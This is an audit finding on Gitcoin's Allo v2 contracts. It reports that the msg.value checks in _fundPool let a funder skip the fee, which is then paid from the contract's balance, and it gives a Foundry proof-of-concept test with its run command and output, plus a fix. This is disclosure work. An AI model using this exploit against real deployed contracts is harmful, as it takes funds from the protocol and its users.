Clumsy Pecan Jay

high

# Insufficient `msg.value` validation in `Allo` results in free funding of pools.
## Summary

When funding - `msg.value` is checked to be more then or equal to the funding amount after deducting the fee. Therefore, a pool creator can pass a `msg.value` that excludes the fee and the fee will be paid using the `Allo` contract balance.

## Vulnerability Detail

See below `_fundPool` and `_transferAmountFrom`:
```solidity
    function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {
        uint256 feeAmount;
        uint256 amountAfterFee = _amount;

        Pool storage pool = pools[_poolId];
        address _token = pool.token;

        if (percentFee > 0) {
            feeAmount = (_amount * percentFee) / getFeeDenominator();
            amountAfterFee -= feeAmount;

            _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));
        }

        _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));
        _strategy.increasePoolAmount(amountAfterFee);

        emit PoolFunded(_poolId, amountAfterFee, feeAmount);
    }

    function _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {
        uint256 amount = _transferData.amount;
        if (_token == NATIVE) {
            // Native Token
            if (msg.value < amount) revert AMOUNT_MISMATCH();

            SafeTransferLib.safeTransferETH(_transferData.to, amount);
        } else {
------
    }
```

Notice that there are two `_transferAmountFrom` calls in `_fundPool`. 
`_transferAmountFrom` reverts if `msg.value` is smaller then amount passed to it.

The first is to pay the fee and therefore `msg.value >= feeAmount` 
The second is to fund the pool after fee deduction and therefore `msg.value >= amountAfterFee`.

The funder can set `msg.value` to `amountAfterFee` to successfully fund the pool and pay `feeAmount` using the `Allo` contract balance.

It is important to note it is expected that the `Allo` contract will contain additional funds in it.
Users are forced to overpay when creating pools.
Additionally there is an explicit recovery method is implemented `recoverFunds` to recover the funds to the recipient.
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L283C17-L283C17

## Impact

Free creation of pools using `Allo` balance without paying fees from creator balance.

## Code Snippet

Add the following test to `RFPSimpleStrategy.t.sol`

```solidity
    function test_fundPoolWithoutFee() public {
        // Fund Allo
        vm.deal(address(allo()), 1 ether);

        // Calculate fund amount with and without fee
        uint256 amountWithFee = 10 ether;
        uint256 amountAfterFee = amountWithFee - ((amountWithFee * 1e16) / 1e18);

        // Fund the admin with the amount minus fee
        vm.deal(pool_admin(), amountAfterFee);

        // Fund the pool using the total amount but only send amount minus fee
        vm.prank(pool_admin());
        allo().fundPool{value: amountAfterFee}(poolId, amountWithFee);
    }
```

To execute run the command:
```solidity
forge test --match-test "test_fundPoolWithoutFee" -v
```

Expected output:
```solidity
Running 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest
[PASS] test_fundPoolWithoutFee() (gas: 119789)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.13ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

```
## Tool used

Manual Review

## Recommendation

In `_fundPool` add a check:
```solidity
if (msg.value < _amount) revert AMOUNT_MISMATCH();
```